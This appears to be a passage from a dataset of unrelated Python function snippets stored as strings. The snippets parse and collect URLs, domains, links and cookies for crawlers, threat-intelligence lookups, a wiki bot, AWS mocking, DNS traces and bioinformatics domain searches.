code\n status_code_str = str(status_code)\n parsed_url = urllib.parse.urlparse(url)\n if status_code_str not in webhost_map:\n webhost_map[status_code_str] = {}\n if parsed_url.path not in webhost_map[status_code_str]:\n webhost_map[status_code_str][parsed_url.path] = {}\n cur_node = webhost_map[status_code_str][parsed_url.path]\n\n # if a (GET) query is present, add its parameters to the web host map\n if parsed_url.query:\n get_params = get_query_params(parsed_url.query)\n if get_params:\n if \"GET\" not in cur_node:\n cur_node[\"GET\"] = []\n for param in get_params:\n if param not in cur_node[\"GET\"]:\n cur_node[\"GET\"].append(param)\n\n if any(val for val in get_params.values()):\n if \"instances\" not in cur_node:\n cur_node[\"instances\"] = []\n\n if not any(i.get(\"GET\", {}) == get_params for i in cur_node[\"instances\"]):\n instance = {\"GET\": get_params, \"POST\": {}, \"cookies\": {}}\n cur_node[\"instances\"].append(instance)","def get_unreviewed_redirects(site, namespace=\"0\"):\n result = []\n\n def _submit_and_parse(request):\n \"\"\"Divide the answer to the list of values and continue info.\"\"\"\n answer = request.submit()\n if \"pages\" not in answer[\"query\"]:\n return ([], {})\n values = list(answer[\"query\"][\"pages\"].values())\n if \"query-continue\" in answer:\n contin = answer[\"query-continue\"]\n else:\n contin = {}\n return (values, contin)\n\n kwargs = {\n \"action\": \"query\",\n \"prop\": \"links\",\n \"pllimit\": \"5000\",\n \"generator\": \"unreviewedpages\",\n \"gurnamespace\": namespace,\n \"gurfilterredir\": \"redirects\",\n \"gurlimit\": \"5000\"\n }\n\n while True:\n # iterate for gurstart, get list of redirects\n request = Request(site=site, **kwargs)\n (values, contin) = _submit_and_parse(request)\n chunk = [{\"title\": value[\"title\"], \"links\": []} for value in values]\n\n while True:\n # iterate for plcontinue, get list of links (ie target candidates)\n for key, value in enumerate(values):\n if \"links\" in value:\n chunk[key][\"links\"] += [links[\"title\"] for links in value[\"links\"]]\n if \"links\" in contin:\n request[\"plcontinue\"] = contin[\"links\"][\"plcontinue\"]\n (values, contin) = _submit_and_parse(request)\n continue\n else:\n break\n result += chunk\n\n if \"unreviewedpages\" in contin:\n kwargs[\"gurstart\"] = contin[\"unreviewedpages\"][\"gurstart\"]\n continue\n else:\n break\n\n # filter result: redirects with two or more links aren't any interesting for us\n result = [(x[\"title\"], x[\"links\"][0]) for x in filter(lambda x: len(x[\"links\"]) == 1, result)]\n return result","def getFileAccessUrls(samweb, filenameorid, schema, locationfilter=None):\n params = { \"schema\": schema }\n if locationfilter:\n params[\"location\"] = locationfilter\n response = samweb.getURL(_make_file_path(filenameorid) + '/locations/url', params=params)\n return convert_from_unicode(response.json())","def parse_links(self, response):\n urls = LinkExtractor(canonicalize=True, allow_domains=self.domain)\\\n .extract_links(response)\n\n for link in urls:\n # If link was already extracted on another page, don't save it\n if link.url in self.unique_links:\n continue\n if 'watch?v' in link.url:\n self.links_out_file.write('%s\\n' % link.url)\n self.unique_links[link.url] = 1","def domain_parser():\n\tinput_handle=\"blast_hits.fasta\"\n\t# File with: (1) the domains of each hit and (2) domains information\n\tdomains= \"domains_hits.txt\"\n\toutput_handle = open(domains, \"w\")\n\toutput_handle.write(\"#This file contains the domains of each hit.\\n#At the bottom, you will find detail information of all the domains detected.\\n\")\n\toutput_handle.write(\"#We strongly recommend to open this file with Visual Studio Code.\\n#Because when the names of the domains are too large, in regular editors the table looks awful.\\n\")\n\toutput_handle.write(\"#Here it is only showed how many times a pattern is present.\\n#In the figure of the domains you will find the position of each domain.\\n\\n\")\n\taccession_list=[] \t# List of prosite.doc accessions of the domains that had been found\n\tdomains_dict=dict() # dictionary that saves matches\n\tcount=1\n\tmax_seq_len=0 # Keep larger sequence to plot x-axe\n\t# Loop to go through hits\n\tfor seq_record in SeqIO.parse(input_handle, \"fasta\"):\n\t\toutput_handle.write(str(seq_record.id)+\"\\n\") # print identifier of the hit\n\t\toutput_handle.write(str(seq_record.seq)+\"\\n\") # print sequence of the hit\n\t\tif len(seq_record.seq)>max_seq_len:\n\t\t\tmax_seq_len=len(seq_record.seq)\n\t\t# Make a table for each hit with the domains, that contains the following fields: name, accession, description and pattern\n\t\tx=PrettyTable()\n\t\tx.field_names=[\"name\",\"accession\",\"description\",\"pattern\",\"repetitions\"]\n\n\t\t# Loop to go through prosite domains\n\t\thandle = open(\"prosite.dat\",\"r\")\n\t\trecords = Prosite.parse(handle)\n\t\tfor record in records:\n\t\t\t# prosite.dat preparation for parsing\n\t\t\t# {} -> [^]\n\t\t\tpattern = record.pattern.upper()\n\t\t\tpattern = pattern.replace(\"{\", \"[^\")\n\t\t\tpattern = pattern.replace(\"}\", \"]\")\t\n\t\t\t# - -> \"\"\n\t\t\tpattern = pattern.replace(\"-\", \"\")\t\n\t\t\t# . -> \"\"\n\t\t\tpattern = pattern.replace(\".\", \"\")\t\n\t\t\t# X|x -> \"[ARNDCQEGHILKMFPSTWYV]\"\n\t\t\tAAS=\"[ARNDCQEGHILKMFPSTWYV]\"\n\t\t\tpattern = pattern.replace(\"x\", AAS)\n\t\t\tpattern = pattern.replace(\"X\", AAS)\t\n\t\t\t# () -> {}\n\t\t\tpattern = pattern.replace(\"(\", \"{\")\n\t\t\tpattern = pattern.replace(\")\", \"}\")\t\n\n\t\t\t# >] -> ]?$\n\t\t\tpattern = pattern.replace(\">]\", \"]?$\")\t\n\n\t\t\t# < -> ^\n\t\t\t# > -> $\n\t\t\tpattern = pattern.replace(\"<\", \"^\")\t\n\t\t\tpattern = pattern.replace(\">\", \"$\")\t\n\t\t\tif pattern != \"\":\n\t\t\t\t# Look if the hit contains the current patter\n\t\t\t\tif re.search(r\"\"+str(pattern), str(seq_record.seq).upper()): # if found\n\t\t\t\t\tif record.pdoc not in accession_list:\n\t\t\t\t\t\t# Save pdoc accession in the list of prosite.doc accessions\n\t\t\t\t\t\t# if it is not already\n\t\t\t\t\t\taccession_list.append(record.pdoc)\n\t\t\t\t\tmatches = re.finditer(r\"\"+str(pattern), str(seq_record.seq).upper())\n\t\t\t\t\treps=0\n\t\t\t\t\tfor match in matches: # save all matches in a dictionary to plot them later\n\t\t\t\t\t\tdomains_dict[count]=[seq_record.id, len(seq_record.seq),record.name,match.start(),match.end()]\n\t\t\t\t\t\tcount=count+1\n\t\t\t\t\t\treps=reps+1\n\t\t\t\t\tx.add_row([record.name,record.accession,record.description,record.pattern, reps]) # add found domain to table\n\n\t\toutput_handle.write(str(x)+\"\\n\") # add table of hit to domains_hits.txt\n\n\t# At the end of the tables, print information of all the domains that had been found\n\toutput_handle.write(\"\\n\")\n\trecord_text_list=DocParser(accession_list)\n\tfor text in record_text_list:\n\t\toutput_handle.write(text)\n\treturn (domains_dict,max_seq_len,accession_list)","def extract_urls_with_indices(self, options = {'extract_url_without_protocol': True}):\r\n urls = []\r\n for match in REGEXEN['valid_url'].finditer(self.text):\r\n complete, before, url, protocol, domain, port, path, query = match.groups()\r\n start_position = match.start() + len(before or '')\r\n end_position = match.end()\r\n # If protocol is missing and domain contains non-ASCII characters,\r\n # extract ASCII-only domains.\r\n if not protocol:\r\n if not options.get('extract_url_without_protocol') or REGEXEN['invalid_url_without_protocol_preceding_chars'].search(before):\r\n continue\r\n last_url = None\r\n last_url_invalid_match = None\r\n for ascii_domain in REGEXEN['valid_ascii_domain'].finditer(domain):\r\n ascii_domain = ascii_domain.group()\r\n last_url = {\r\n 'url': ascii_domain,\r\n 'indices': [start_position - len(before or '') + complete.find(ascii_domain), start_position - len(before or '') + complete.find(ascii_domain) + len(ascii_domain)]\r\n }\r\n last_url_invalid_match = REGEXEN['invalid_short_domain'].search(ascii_domain) is not None\r\n if not last_url_invalid_match:\r\n urls.append(last_url)\r\n # no ASCII-only domain found. Skip the entire URL\r\n if not last_url:\r\n continue\r\n if path:\r\n last_url['url'] = url.replace(domain, last_url['url'])\r\n last_url['indices'][1] = end_position\r\n if last_url_invalid_match:\r\n urls.append(last_url)\r\n else:\r\n if REGEXEN['valid_tco_url'].match(url):\r\n url = REGEXEN['valid_tco_url'].match(url).group()\r\n end_position = start_position + len(url)\r\n urls.append({\r\n 'url': url,\r\n 'indices': [start_position, end_position]\r\n })\r\n return urls","def process_cookies(self, webhost_map):\n\n new_domains = set()\n for cookie in self.found_cookies:\n # if cookie is for a different domain, save that info and continue\n if cookie[\"domain\"] != self.domain:\n new_domains.add(cookie[\"domain\"])\n continue\n\n path = cookie[\"path\"] if cookie[\"path\"] else \"/\"\n # find corresponding webhost_map entry by common path and\n # save it as \"page_node\"\n page_node = None\n for _, pages_node in webhost_map.items():\n for map_path, page_node_tmp in pages_node.items():\n if map_path == path:\n page_node = page_node_tmp\n break\n if page_node is not None:\n break\n\n # store the info of the current cookie in the given web host map\n if page_node is not None:\n if \"cookies\" in page_node:\n if cookie[\"name\"] not in page_node[\"cookies\"]:\n page_node[\"cookies\"].append(cookie[\"name\"])\n else:\n page_node[\"cookies\"] = [cookie[\"name\"]]\n else:\n # assume 200 status code for new path discovered through cookies\n if \"200\" not in webhost_map:\n webhost_map[\"200\"] = {}\n webhost_map[\"200\"][path] = {\"cookies\": [cookie[\"name\"]]}\n\n return new_domains","def getDomain(self, *args, **kwargs):\n\n return_json = dict()\n jdatas = list()\n try:\n result, name = is_file(kwargs.get('value')[0])\n if result:\n jdatas = [load_file(name)]\n kwargs['dump'] = False\n md5_hash = ''\n\n except IndexError:\n print('[-] Something going wrong')\n return\n\n if not jdatas:\n if isinstance(kwargs.get('value'), list) and len(kwargs.get('value')) == 1 and \\\n os.path.exists(kwargs.get(\"value\")[0]) and kwargs.get(\"value\")[0].endswith(\".txt\"):\n kwargs[\"value\"] = [domain.strip() for domain in open(kwargs.get(\"value\")[0], \"rb\").readlines()]\n elif isinstance(kwargs.get('value'), six.string_types):\n kwargs['value'] = [kwargs.get('value')]\n\n kwargs['value'] = [urlparse(domain).netloc.lower() if domain.startswith(('http://', 'https://')) else domain for domain in kwargs.get('value')]\n\n url = self.base.format('domains/')\n\n for domain in kwargs.get('value'):\n url = self.base.format('domains/{}'.format(domain))\n if kwargs.get('domain_post_comments'):\n url += '/comments'\n method = 'post'\n data = '{\"data\": {\"type\": \"comment\", \"attributes\": {\"text\": \"Lorem ipsum dolor sit ...\"}}}'\n elif kwargs.get('domain_get_comments'):\n url += '/comments'\n method = 'get'\n else:\n #url += '/' + kwargs['domain_get_relationships']\n self.params[\"relationships\"] = 'communicating_files,downloaded_files,graphs,referrer_files,resolutions,siblings,subdomains,urls'\n method = \"get\"\n jdata, response = get_response(url, apikey=self.apikey, method=method, params=self.params)\n jdatas.append((domain, jdata))\n\n if kwargs.get('return_raw'):\n return jdatas\n\n for domain, jdata in jdatas:\n if jdata.get('data'):\n jdata = jdata['data']\n\n if not (kwargs.get('return_json') or kwargs.get('return_raw')) and kwargs.get('verbose'):\n print('\\n[+] Domain:', domain)\n\n single_dict = (\n 'TrendMicro category',\n 'Dr.Web category',\n 'BitDefender category',\n 'Websense ThreatSeeker category',\n 'Alexa category',\n 'Alexa domain info',\n 'Alexa rank',\n 'Opera domain info',\n 'subdomains',\n 'siblings',\n )\n\n complicated_dict = (\n 'WOT domain info',\n 'Webutation domain info',\n )\n\n for key in single_dict:\n if jdata.get(key) and ((kwargs.get(key) or key in args) or kwargs.get('verbose')):\n if kwargs.get('return_json'):\n return_json.update({key: jdata[key]})\n else:\n self.print_key(key)\n if isinstance(jdata[key], list):\n print('\\t', '\\n\\t'.join(jdata[key]))\n else:\n print('\\t{0}'.format(jdata[key]))\n\n for key in complicated_dict:\n if jdata.get(key) and ((kwargs.get(key) or key in args) or kwargs.get('verbose')):\n if kwargs.get('return_json'):\n return_json.update({key: jdata[key]})\n else:\n self.__print_complex_dict(jdata, key, kwargs)\n\n if jdata['attributes'].get('whois') and ((kwargs.get('whois') or 'whois' in args) or kwargs.get('verbose')):\n if kwargs.get('return_json'):\n return_json.update({'whois': jdata['attributes']['whois']})\n else:\n print('\\n[+] Whois data:\\n')\n try:\n print('\\t', jdata['attributes']['whois'].replace('\\n', '\\n\\t'))\n except:\n try:\n print('\\t', jdata['attributes']['whois'].encode('utf-8', 'replace').replace('\\n', '\\n\\t'))\n except:\n print('Old version of python has some problems with converting chars to ansii')\n\n self._print_complex_dict(jdata['attributes'], 'categories')\n self.__parse_relationships(jdata['relationships'], domain)\n if kwargs.get(\"domain_get_comments\", False) is True:\n simple_list = (\n \"date\",\n \"tags\",\n \"text\",\n \"votes\",\n \"links\"\n )\n for block in jdata:\n print(\"[+] Comment ID: {}\".format(block[\"id\"]))\n for key in simple_list:\n if block.get(key) and ((kwargs.get(key) or key in args) or kwargs.get('verbose')):\n if kwargs.get('return_json'):\n return_json.update({key: block[\"attributes\"][key]})\n else:\n self.print_key(key, indent='', separator='\\t[+]')\n if key == \"date\":\n print('\\t', datetime_from_timestamp(block.get(key)))\n else:\n print('\\t', block.get(key))\n\n # ToDo\n #elif kwargs.get(\"post_post_comments\", False) is True:\n\n elif kwargs.get('domain_get_relationships', False):\n self._print_complex_dict(jdata['attributes'], 'categories')\n self.__parse_relationships(jdata['relationships'], domain)\n \"\"\"\n simple_list = (\n \"url\",\n \"last_final_url\",\n \"tags\",\n \"total_votes\",\n \"last_analysis_date\",\n \"last_analysis_stats\",\n )\n for block in jdata['attributes']:\n print(block)\n for key in simple_list:\n if block.get(key, \"\") and ((kwargs.get(key) or key in args) or kwargs.get('verbose')):\n if kwargs.get('return_json'):\n return_json.update({key:block[key]})\n else:\n self.print_key(key, indent='', separator='\\t[+]')\n if key == \"last_analysis_date\":\n print('\\t', datetime_from_timestamp(block.get(key)))\n else:\n print('\\t', block.get(key))\n #[{u'attributes': {u'total_votes': {u'harmless': 0, u'malicious': 0}, u'last_final_url': u'https://msg3.club/', u'tags': [], u'url': u'https://msg3.club/', u'last_analysis_date': 1551639858, u'last_analysis_stats': {u'harmless': 57, u'malicious': 1, u'suspicious': 0, u'undetected': 8, u'timeout': 0}, u'first_submission_date': 1551639858,\n self.last_analysis_results(block, args, kwargs)\n \"\"\"\n\n if kwargs.get('return_json'):\n return_json.update(self.__detected_samples(jdata, *args, **kwargs))\n else:\n return_json = self.__detected_samples(jdata, *args, **kwargs)\n\n if jdata.get('pcaps') and ((kwargs.get('pcaps') or 'pcaps' in args) or kwargs.get('verbose')):\n if kwargs.get('return_json'):\n return_json.update({'pcaps': jdata['pcaps']})\n else:\n print('\\n')\n pretty_print(jdata['pcaps'], ['pcaps'], [70], ['c'], kwargs.get('email_template'))\n\n if jdata.get('resolutions') and ((kwargs.get('resolutions') or 'resolutions' in args) or kwargs.get('verbose')):\n if kwargs.get('return_json'):\n return_json.update({'passive_dns': jdata['resolutions']['data']})\n else:\n print('\\n[+] Passive DNS replication\\n')\n pretty_print(jdata['resolutions']['data'],\n ['ip_address', 'type'],\n [25, 20],\n ['c', 'c'],\n kwargs.get('email_template')\n )\n\n if kwargs.get('walk') and jdata.get('resolutions', {}).get(\"data\", []):\n filter_ip = list()\n for ip in jdata['resolutions']['data']:\n ip = ip['id'].replace(domain, '')\n if ip not in filter_ip:\n print('\\n\\n[+] Checking data for ip: {0}'.format(ip))\n kwargs['value'] = ip\n self.getIP(**kwargs)\n\n if kwargs.get('dump') is True:\n md5_hash = hashlib.md5(name.encode(\"utf-8\")).hexdigest()\n jsondump(jdata, md5_hash)\n\n if kwargs.get('return_json'):\n return return_json","def search_urls():\n r = req('GET', SUB_API + 'search/urls', params=apply_search_filters())\n urls = []\n for url in demisto.get(r.json(), 'data.items'):\n urls.append({\n 'Result': demisto.get(url, 'result'),\n 'Details': demisto.get(url, 'details')\n })\n demisto.results({\n 'Type': entryTypes['note'],\n 'EntryContext': {'ThreatGrid.URLs': urls},\n 'HumanReadable': tableToMarkdown('ThreatGrid - URL Search', urls, ['Result', 'Details']),\n 'ContentsFormat': formats['json'],\n 'Contents': r.json()\n })","def urls(self) -> Dict[str, str]:\n url_bases = self.url_bases\n unformatted_paths = self._url_module.url_paths\n\n urls = {}\n for url_base in url_bases:\n # The default URL_base will look like: http://service.[..].amazonaws.com/...\n # This extension ensures support for the China & ISO regions\n alt_dns_suffixes = {\"cn\": \"amazonaws.com.cn\"}\n if enable_iso_regions():\n alt_dns_suffixes.update(\n {\n \"iso\": \"c2s.ic.gov\",\n \"isob\": \"sc2s.sgov.gov\",\n \"isoe\": \"cloud.adc-e.uk\",\n \"isof\": \"csp.hci.ic.gov\",\n }\n )\n\n for url_path, handler in unformatted_paths.items():\n url = url_path.format(url_base)\n urls[url] = handler\n for dns_suffix in alt_dns_suffixes.values():\n alt_url_base = re.sub(r\"amazonaws\\\\?.com$\", dns_suffix, url_base)\n alt_url = url_path.format(alt_url_base)\n urls[alt_url] = handler\n\n return urls","def normalize_response(\n extracted_hostname: str, extracted_suffix: Optional[str]\n ) -> Tuple[str, str]:\n\n rule = \"%s %s\" % (target_ip, extracted_hostname)\n\n if keep_domain_comments and extracted_suffix:\n if not extracted_suffix.strip().startswith(\"#\"):\n rule += \" #%s\" % extracted_suffix\n else:\n rule += \" %s\" % extracted_suffix\n\n return extracted_hostname, rule + \"\\n\"","def _get_urls_db(file_type, id, reference_name = None, start = None, end = None):\n if file_type not in [\"variant\", \"read\"]:\n raise ValueError(\"File type must be 'variant' or 'read'\")\n\n file = _get_file_by_id(id) # returns an array of tuples\n file_exists = len(file) != 0 \n if file_exists:\n file_name = file[0][0] + file[0][1]\n file_format = file[0][2]\n\n if start is None:\n start = _get_index(\"start\", file_name, file_type)\n if end is None:\n end = _get_index(\"end\", file_name, file_type)\n\n urls = _create_slices(CHUNK_SIZE, id, reference_name, start, end)\n response = {\n 'htsget': {\n 'format': file_format,\n 'urls': urls \n }\n }\n return {\"response\": response, \"http_status_code\": 200}\n else:\n err = f\"No {file_type} found for id: {id}\" \n return {\"response\": err, \"http_status_code\": 404}","def get_urls(inputfiles):\n urls = []\n scheme_rgx = re.compile(r'^https?://')\n for ifile in inputfiles:\n urls.append(ifile.read().splitlines())\n urls = set([n for l in urls for n in l])\n urls = list(filter(None, urls))\n for i in range(len(urls)):\n if not scheme_rgx.match(urls[i]):\n urls[i] = 'http://' + urls[i]\n return urls","def __parse_urls_from_response(cls, target_str):\n\t\ttree = html.fromstring(target_str)\n\t\turls = tree.xpath('//a[@class=\"layer-link\"]/@href')\n\t\treturn urls","def main():\n\n ## Deal with incoming.\n parser = argparse.ArgumentParser(\n description=__doc__,\n formatter_class=argparse.RawDescriptionHelpFormatter)\n parser.add_argument('-w', '--walk',\n help='Combined report JSON file')\n parser.add_argument('-r', '--remote',\n help='The remote server to map onto')\n parser.add_argument('-o', '--output',\n help='The file to dump the JSON output to')\n parser.add_argument('-v', '--verbose', action='store_true',\n help='More verbose output')\n args = parser.parse_args()\n\n if args.verbose:\n LOG.setLevel(logging.INFO)\n LOG.info('Verbose: on')\n\n ## Ensure directory.\n if not args.walk:\n die_screaming('need a \"walk\" argument')\n LOG.info('Will walk directory: ' + args.walk)\n ## Ensure URL.\n if not args.remote:\n die_screaming('need \"remote\" argument')\n LOG.info('Will map unto URL: ' + args.remote)\n ## Ensure output file.\n if not args.output:\n die_screaming('need an output file argument')\n LOG.info('Will output to: ' + args.output)\n\n ## Walk tree.\n lookup = [];\n for curr_dir, dirs, files in os.walk(args.walk):\n\n ## We can navigate up if we are not in the root.\n relative_to_start = curr_dir.rstrip('//')[len(args.walk):]\n relative_to_start = relative_to_start.lstrip('//')\n LOG.info('curr_dir: ' + curr_dir + ' (' + relative_to_start + ')')\n\n ## Note files and directories.\n for fname in files:\n\n ## Figure out S3 path/key and final filename, keeping in\n ## mind that relative_to_Start can be empty if root.\n webpath = fname\n if relative_to_start:\n webpath = relative_to_start + '/' + fname\n filename = os.path.join(curr_dir, fname)\n\n size = os.path.getsize(filename)\n md5sum = hashlib.md5(open(filename, 'rb').read()).hexdigest()\n\n ## Visual check.\n LOG.info('file: '+ filename + ' -> [' + args.remote + '] / ' + webpath + '; ' + str(size) + ', ' + md5sum)\n\n lookup.append({\n 'url': args.remote + '/' + webpath,\n 'length': str(size),\n 'filename': webpath,\n 'md5': md5sum\n })\n\n ## Final writeout.\n output = json.dumps(lookup, sort_keys=True, indent=4)\n with open(args.output, 'w+') as fhandle:\n fhandle.write(output)\n LOG.info(output)","def biopax_process_pc_pathsfromto():\n response = request.body.read().decode('utf-8')\n body = json.loads(response)\n source = body.get('source')\n target = body.get('target')\n bp = bel.process_pc_pathsfromto(source, target)\n if bp and bp.statements:\n stmts = stmts_to_json(bp.statements)\n res = {'statements': stmts}\n return res\n else:\n res = {'statements': []}\n return res","def find_domains (file_query, folder_result, file_pros=\"prosite_parser.tsv\"):\n\n for record in SeqIO.parse(file_query, \"fasta\"):\n\n with open(record.id+'_muscle.faa', \"r\") as result:\n with open(file_pros, \"r\") as file_prosite,\\\n open(record.id+\"_domains.txt\", \"w\") as finds:\n division_result = result.read().split(\"\\n\")\n division_prosite = file_prosite.read().split(\"\\n\")\n\n for i in range(len(division_result) // 2):\n sequence = division_result[2*i + 1]\n name = division_result[2*i]\n seq = str(\"Pattern in:\"+name[1:]+\"\\n\\n\")\n finds.write(seq)\n\n for j in division_prosite[1:]:\n #Not to read the firt line, header\n if j == '':\n pass\n else:\n j = j.split(\"\\t\")\n\n #Read pattern with the regular expresion\n\n find_patron=Convert_regex(j[3])\n if j[3] != \"\":\n if re.search(find_patron, sequence):\n res = str(\"\\tName\"+j[0]+\"\\n\\tAccesion:\"+j[1]+\"\"\n \"\\n\\tDescription:\"+j[2]+\"\\n\\tPattern:\"+j[3])\n finds.write(res)\n\n file_prosite.close()\n\n\n print(\"The domains that were found are save in the folder: %s\" %(folder_result))","def response_url():\n current_url = urlparse(cherrypy.url()) # gets current location on the server\n try:\n location = cherrypy.request.json[\"location\"]\n if parse_qs(urlparse(location['href']).query)['from']: # get from query href\n cleaned_url = parse_qs(urlparse(location['href']).query)['from'][0]\n if not cleaned_url.__contains__(\n current_url.netloc): # check net location to avoid cross site script attacks\n # No longer need to add projects to root url, so removing \n # cleaned_url = \"https://\" + current_url.netloc + \"/projects\"\n cleaned_url = \"https://\" + current_url.netloc\n else:\n # No longer need to add projects to root url, so removing \n # cleaned_url = \"https://\" + current_url.netloc + \"/projects\"\n cleaned_url = \"https://\" + current_url.netloc\n except Exception as e:\n # cherrypy.log.error(\"no location provided setting target to /projects\")\n # No longer need to add projects to root url, so removing \n # cleaned_url = \"https://\" + current_url.netloc + \"/projects\"\n cleaned_url = \"https://\" + current_url.netloc\n return cleaned_url","def search(url, domain_list):\n resp = requests.get(url)\n if not resp.json().get('hits', '').get('hits', []):\n return\n for hit in resp.json()[\"hits\"][\"hits\"]:\n domain = hit.get(\"_source\", {}).get(\"domain\", \"\")\n if not domain:\n continue\n if not domain in domain_list:\n domain_list.append(domain)\n #print(hit[\"_source\"].get(\"title\", \"\").encode(\"ascii\",\"ignore\"))\n if domain not in ALLOWED_DOMAINS:\n print(domain)","def paths(domain, resource):\n ret = {}\n path = '/{0}'.format(resource.get('url', domain))\n path = re.sub(r'<(?:[^>]+:)?([^>]+)>', '{\\\\1}', path)\n pathtype = 'resource'\n ret[path] = methods(domain, resource, pathtype)\n\n primary = identifier(resource)\n path = '{0}/{1}'.format(path, pathparam(primary['name']))\n pathtype = 'item'\n ret[path] = methods(domain, resource, pathtype)\n\n alt = resource.get('additional_lookup', None)\n if alt is not None:\n path = '/{0}/{1}'.format(domain, pathparam(alt['field']))\n pathtype = 'additional_lookup'\n ret[path] = methods(domain, resource, pathtype, alt['field'])\n return ret","def by_domains(self):\n\t\t\n\t\t# TODO: use urllib instead\n\t\turl_format = r'^\\s*(?:(?P<protocol>\\w+)://)?(?P<domain>[\\w\\d\\-\\.]+)(?::(?P<port>\\d+))?/?(?P<everything_else>.*)$'\n\t\tsites = {}\n\t\tfor line in self.source.lines:\n\t\t\ttry:\n\t\t\t\tif self.filter(line):\n\t\t\t\t\tresult = re.match(url_format, line.content.url)\n\t\t\t\t\tif result.group('domain') not in sites.keys():\n\t\t\t\t\t\tsites[result.group('domain')] = 0\n\t\t\t\t\tsites[result.group('domain')] += int(line.content.size)\n\t\t\texcept AttributeError:\n\t\t\t\tpass\n\t\t\n\t\t# TODO: sort; convert to lists is even better\n\t\t\n\t\treturn sites","def extract_URLs(self, input_file_name):\n file = open(input_file_name, 'r')\n lines = []\n for line in file.readlines():\n # Don't add empty lines.\n if len(line.strip()) > 0:\n lines.append(line.strip())\n return lines","def group_by_domain(hash_entries):\n entries = (get_entry(h) for h in hash_entries)\n domains = {}\n for e in entries:\n domains[e['url_domain']] = domains.get(e['url_domain']) or []\n domains[e['url_domain']].append(e)\n return [{'domain': name, 'entries': ent} for name, ent in domains.items()]","def create_dns_dictionary(self, path_tracefile):\n responses = self.get_dns_responses(path_tracefile)\n dns_dict = dict()\n for response in responses:\n for x in range(response[DNS].ancount): # answer count, how many IP adresses are returned for the query\n try: # answer count could also include 'DNS SRV Resource Record' which does not have a 'rrname' attribute so ancount is wrong if there is such a record -> TODO get amount of DNSRR instead of using ancount\n domain = getattr(response[DNSRR][x], 'rrname').decode(\"utf-8\") # domain (this is returned in bytes so decode)\n ip = getattr(response[DNSRR][x], 'rdata') # IP adres of the domain, TODO make this work for multiple ip adresses for one domain (Test with [0] at end)\n dns_dict[ip] = domain[:-1] #remove last char '.' \n except:\n continue\n return dns_dict","def ListUrlEntries(self):\n return [WprUrlEntry(request, self._http_archive[request])\n for request in self._http_archive.get_requests()]","def get_people_urls(gedcom_data, apid_full_map):\n people = {}\n found = False\n logging.info(\"Extracting person specific URL information\")\n for line in gedcom_data.split(\"\\n\"):\n if len(line) > 5:\n tag = line.split(\" \")[1]\n if \"@P\" in tag:\n person = tag\n found = False\n continue\n if tag == \"_APID\" and not found:\n apid = line.split(\" \")[2]\n if apid in apid_full_map:\n if \"person_url\" in apid_full_map[apid]:\n if apid_full_map[apid][\"person_url\"] != \"\":\n people.update({person: apid_full_map[apid][\"person_url\"]})\n found = True\n logging.info(\"Person URL extraction completed\")\n return people","def simplify_links(proj,exp,links):\n simple_links =[] \n\n for key in links:\n (node_name,x,y) = key.rpartition(':')\n node_name = node_name+\".\"+exp+\".\"+proj+\".emulab.net\"\n simple_links.append((node_name,links[key]['ipaddr']))\n\n return simple_links","def get_sources_and_targets(index_pairings):\n\n source_target_dictionary = {}\n links_list = []\n \n itr = 0\n \n for pair in index_pairings:\n source = pair[0]\n target = pair[1]\n\n source_target_dictionary = {\"source\":source, \"target\":target}\n links_list.append(source_target_dictionary)\n\n return links_list","def get_urls(links):\n\n temp_list=[]\n url_list=[]\n temp_list2=[]\n #Open the file where the url's are saved and copy the tuple values into an empty list\n z=open('dbdocs.txt','r')\n for line in z:\n temp_list.append(line)\n #print temp_list\n for x in temp_list:\n index=x.find(',')\n if index==-1:\n y=x.split(\" \",1)\n key=int(y[0])\n val=str(x[1]).replace('\\n','')\n url_list.append((key,val))\n else:\n #find the tab seperator between the key and the url, and\n #split them, in order to put in a list\n key=x[0:index-1]\n #print key\n value=str(x[index+3:len(x)-1])\n #print value\n temp_list2.append((int(key),value))\n #Find the url's of the links where the word was found\n for k in links:\n for i,j in temp_list2:\n #print j\n if i==k:\n url_list.append((i,j))\n break\n #print len(url_list)\n #print len(links)\n z.close()\n return url_list","def getlinks_to(markup, domain):\n links = []\n for link in markup.cssselect('a'):\n target = link.get('href')\n\n if indomain(target, domain):\n links.append(target)\n\n return links","def _urls(*, repository, commit, mirrors):\n result_with_nulls = [\n _format_url(\n pattern = x,\n repository = repository,\n commit = commit,\n )\n for x in mirrors.get(\"github\")\n ]\n return [\n url\n for url in result_with_nulls\n if url != None\n ]","def redirect_uris(self) -> pulumi.Output[Optional[Sequence[str]]]:\n return pulumi.get(self, \"redirect_uris\")","def generate_hars():\n results_path = 'data/results.db'\n results_data = {}\n try:\n results_data = pickle.load(open(results_path, 'rb'))\n except IOError:\n raise IOError('Could not read from {0}'.format(results_path))\n\n wpr_path = 'data/wpr_source'\n wpr_files = filter(lambda x: '.wpr' in x, os.listdir(wpr_path))\n for wpr_file in wpr_files:\n curr_wpr = cPickle.load(open(os.path.join(wpr_path, wpr_file), 'rb'))\n curr_har_dict = {'log':\n {'pages':\n [{'id': '',\n 'title': '',\n 'pageTimings': {\n 'onContentLoad': None,\n 'onLoad': None\n }\n }],\n 'entries': []\n }\n }\n wpr_host = None\n print wpr_file\n for key, value_lst in zip(curr_wpr.keys(), curr_wpr.values()):\n matches = [full_url for full_url in results_data.keys() if \\\n key.host in full_url]\n if matches:\n if len(matches) != 1:\n print \"Found 2 urls with the same name!\"\n print matches\n continue\n assert len(matches) == 1, ('Found more than 1 match for'\n ' {0}'.format(matches))\n agg_key = matches[0]\n # Found a match!\n curr_har_dict['log']['pages'][0]['id'] = key.host\n curr_har_dict['log']['pages'][0]['title'] = key.host\n if '_pc' in wpr_file:\n wpr_host = urlsafe_b64encode(agg_key) + '.pc'\n # It's a modified wpr file\n curr_har_dict['log']['pages'][0]['pageTimings']['onLoad'] \\\n = results_data[agg_key]['modified_cold_time']\n else:\n wpr_host = urlsafe_b64encode(agg_key)\n # It's an original wpr file\n curr_har_dict['log']['pages'][0]['pageTimings']['onLoad'] \\\n = results_data[agg_key]['cold_time']\n else:\n # This website is loading a third party object\n # Still include this in the har file\n pass\n # Add to each element to entries\n # Request data\n method = key.command\n element_url = key.host + key.full_path\n # Response data\n status = value_lst.status\n # TODO: Correct way to calculate headersSize and bodySize?\n headerSize = 0 # Need to find this in value_lst\n bodySize = 0 # Need to find this in value_lst\n # Create each element's header list\n tmp_header_lst = []\n for name, value in value_lst.headers:\n if 'content-length' in name:\n bodySize = int(value)\n headerSize += len(name) + len(value) # This should be verified\n tmp_header_lst.append({'name': name, 'value': value})\n\n tmp_entry = {\n 'request': {\n 